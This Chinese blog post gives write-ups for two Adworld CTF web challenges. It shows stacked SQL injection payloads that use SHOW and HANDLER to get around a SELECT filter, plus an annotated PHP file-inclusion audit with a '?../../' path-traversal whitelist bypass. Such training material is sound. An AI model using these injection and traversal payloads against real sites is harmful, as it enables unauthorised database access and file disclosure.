双剑破天门:攻防世界Web题解之独孤九剑心法(九)

双剑破天门:攻防世界Web题解之独孤九剑心法(九)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:Supersqli

二:Warmup

三:总结

1.supersqli

2.Warmup


一:Supersqli

打开如下所示,初步筛查这应该是一道SQL注入题

这确实是一道SQL注入

1’ or 1=1 #

那接下来就是查询字段数

字段数为2

1’ order by 2 #

查询数据库

正常的查询发现不行,被过滤了

但是没有过滤分号那就可以堆叠注入联合show

1’;show tables ;#

成功查询到一个特殊的表

1';show columns from `1919810931114514`;#

查询发现此表含flag但select被过滤如何查询flag

利用handler代替select 查询

payload:1';handler `1919810931114514` open as `a`;handler `a` read next;#   

查询该表的数据

成功拿到flag


二:Warmup

点开发现有提示source.php

访问source.php和hint.php

是一堆代码,进行代码审计

访问hint.php提示我们flag在ffffllllaaaagggg


代码审计:

<?php highlight_file(__FILE__); //代码高亮 class emmm { public static function checkFile(&$page) //checkFile用于检查文件参数是否合法&$page 表示通过引用传递参数,这样在函数内部对 $page 的修改会影响到函数外部的变量。 { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //定义一个白名单数组,里面包含允许包含的文件名(source.php和hint.php) if (! isset($page) || !is_string($page)) { //第一个if功能为检查$page是否存在且为字符串类型如果不是则返回false echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { ///检查$page是否存在于白名单中存在则返回true return true; } $_page = mb_substr( //截取$page中?之前的部分存在$_page(mb_substr是字符串截取函数,mb_strpos是字符串查找函数) $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { //检查截取后$_page是否在白名单中存在则返回true return true; } $_page = urldecode($page); //对$page进行url解码 $_page = mb_substr( //截取?之前的部分存在$_page中 $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { //检查解码并截取后的$_page是否在白名单中存在则返回true return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) //也就是说只有过掉checkFile方法才可以包含文件 ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>

经过如上审计我们得知如果想要拿到flag就需过掉checkfile方法,那checkfile方法有四个if判断语句

第一个判断语句就是判断我们传进去的是否为不为空且是字符串

第二个判断语句判断我们传的值是否在白名单中

第三个判断截取?之前部分后是否在白名单中

第四个判断语句判断对我们传的值URL解码截取后是否在白名单中

总得来说我们正常包含文件时/source.php?file=........

但是他第三年个和第四个判断语句只截取?之前的而file则被筛掉导致无法包含

所以只要我们变换一下顺序即可且第二个到第四个if判断只要有一个绕过即可

Payload:?file=source.php?../../../../../../ffffllllaaaagggg   (绕过第三个if判断)

Payload:/source.php?file=source.php?../../../../../../ffffllllaaaagggg(这样也可以)

成功拿到flag


三:总结

1.supersqli

SQL注入漏洞,考察绕过过滤和堆叠注入技巧

解题要点

  1. 过滤检测:题目对常见的SQL注入关键字进行了过滤,如selectupdatedelete
  2. 堆叠注入:发现可以使用分号;进行堆叠注入
  3. 绕过方法
    • 使用prepareexecute预处理语句绕过过滤
    • 或者使用handler语句代替select进行数据读取

关键payload

1';handler `1919810931114514` open as `a`;handler `a` read first;#

学习收获

  • 堆叠注入的实际应用
  • 预处理语句在SQL注入中的使用
  • handler语句作为select的替代方案
  • 字符串拼接绕过关键字过滤的技巧

2.Warmup

代码审计与文件包含漏洞

解题要点

  1. 源码分析:通过查看页面源码发现提示source.php
  2. 文件包含:访问source.php获取源代码进行审计
  3. 漏洞点
    • 存在文件包含功能,但添加了../..\的过滤
    • 使用checkFile函数进行白名单检查
  4. 绕过方法
    • 利用四层目录结构../../../../绕过检查
    • 最终payload构造为file=source.php?../../../../../ffffllllaaaagggg

学习收获

  • PHP代码审计的基本方法
  • 文件包含漏洞的利用技巧
  • 目录遍历的绕过方法
  • 白名单检查机制的绕过思路

综合对比

方面

Supersqli

Warmup

漏洞类型

SQL注入

文件包含

主要技巧

堆叠注入、预处理语句、handler语法

目录遍历、白名单绕过

过滤机制

关键字过滤

路径符号过滤

解题关键

找到未被过滤的替代语法

构造足够深的目录结构绕过检查

难度等级

简单

简单


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

【C++ Qt】布局管理器(QVBoxLayout、QHBoxLayout、QGridLayout、QFormLayout)

【C++ Qt】布局管理器(QVBoxLayout、QHBoxLayout、QGridLayout、QFormLayout)

每日激励:“不设限和自我肯定的心态:I can do all things。 — Stephen Curry” 🤔绪论 : 在Qt开发中,界面布局的合理设计是提升用户体验的关键。早期,开发者常采用绝对定位的方式摆放控件,即通过计算坐标并使用setGeometry或move方法逐一定位。然而,这种方法不仅复杂且不精确,难以适应窗口大小的变化,尤其在界面内容繁杂时,计算难度显著增加。 为解决这一问题,Qt引入了布局管理器机制,通过QVBoxLayout(垂直布局)、QHBoxLayout(水平布局)、QGridLayout(网格布局)和QFormLayout(表单布局)等工具,实现了控件的自动排列与窗口大小的自适应调整。布局管理器不仅简化了界面设计流程,还提高了布局的灵活性和可维护性,成为Qt开发中不可或缺的一部分。本文将详细介绍这些布局管理器的使用方法与技巧,助力开发者高效构建Qt界面。 ———————— 早关注不迷路🎠,话不多说安全带系好,发车啦(建议电脑🖥️观看)。 🐱‍🐉布局管理器 之前使⽤ Qt 在界⾯上创建的控件, 都是通过 “绝对定位” 的⽅

By Ne0inhk

STL转STEP完全指南:3D模型格式转换核心技术解析

STL转STEP完全指南:3D模型格式转换核心技术解析 【免费下载链接】stltostpConvert stl files to STEP brep files 项目地址: https://gitcode.com/gh_mirrors/st/stltostp 在3D设计和制造领域,不同软件之间的格式兼容性一直是技术工作者面临的挑战。stltostp作为一款高效的开源工具,专门解决STL格式与STEP格式之间的转换问题,让3D模型能够在各种CAD系统中自由流通。 项目价值与核心优势 stltostp采用先进的几何算法,能够将基于三角形网格的STL文件转换为参数化实体模型的STEP文件。这一转换过程不仅仅是格式的简单变化,更是从离散网格到精确几何的质的飞跃。 快速入门:五分钟掌握转换技巧 环境配置与安装 首先获取项目源代码并进行编译: git clone https://gitcode.com/gh_mirrors/st/stltostp cd stltostp mkdir build && cd build cmake

By Ne0inhk

如果希望做c++相关的工作,该如何系统学习c++?

如果希望做 C++ 相关的工作,该如何系统学习 C++? (2025-2026 年最现实的就业导向学习路径) 以下路径按照真正能找到工作的优先级排序,而不是按照“语言特性出现的先后顺序”。 不同目标对应的现实学习时长与难度对比(2025-2026) 目标岗位类型大概需要认真学习时间难度(1-10)就业难度薪资天花板(国内参考)建议学习深度游戏开发(UE/客户端)8–18个月8.5–9.5中-高高非常深嵌入式/底层驱动/IoT10–24个月9–10中中-高很深高性能后台/交易系统/中间件12–30个月9.5–10高很高极深音视频/流媒体/编解码12–24个月9–9.5高高很深通用 C++ 开发(工具、SDK、插件)6–15个月7–8.5中低中中深传统企业/外包/维护老系统4–12个月6–

By Ne0inhk
全网最详细UE5C++背包系统(附开源代码)

全网最详细UE5C++背包系统(附开源代码)

前言 起因是up想要锻炼自己的c++代码能力,顺便把它运用到自己的项目里,无奈网上找了一圈没有发现一个认真用c++做背包的教程,只好按照以前用蓝图做背包的逻辑一点点写。通过五天的努力终于实现了一些基础功能。做完之后才发现蓝图在某些地方并不是很好用,处理某些逻辑非常冗杂,反而c++不仅节省性能,代码逻辑也一目了然。出这个教程的目的一方面填补空白,另一方面也加深下自己对代码逻辑的印象,好在面试时展示出来。废话不多说了,下面是从头到尾的流程,一点点跟着敲就行了。 (温馨提示:本教程适合对UEC++以及GamePlay框架有一定了解的同学,如果是新手小白的话推荐先看蓝图实现背包的教程) 教程链接:ue5教程25:背包系统详解(1)背包系统基本概念与界面创建_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV13P4y1F7Qk/?spm_id_from=333.1387.favlist.content.click&vd_source=4e360c8b9acfb97ebe1f8385ad108e1b 项目代码(已开源): https:

By Ne0inhk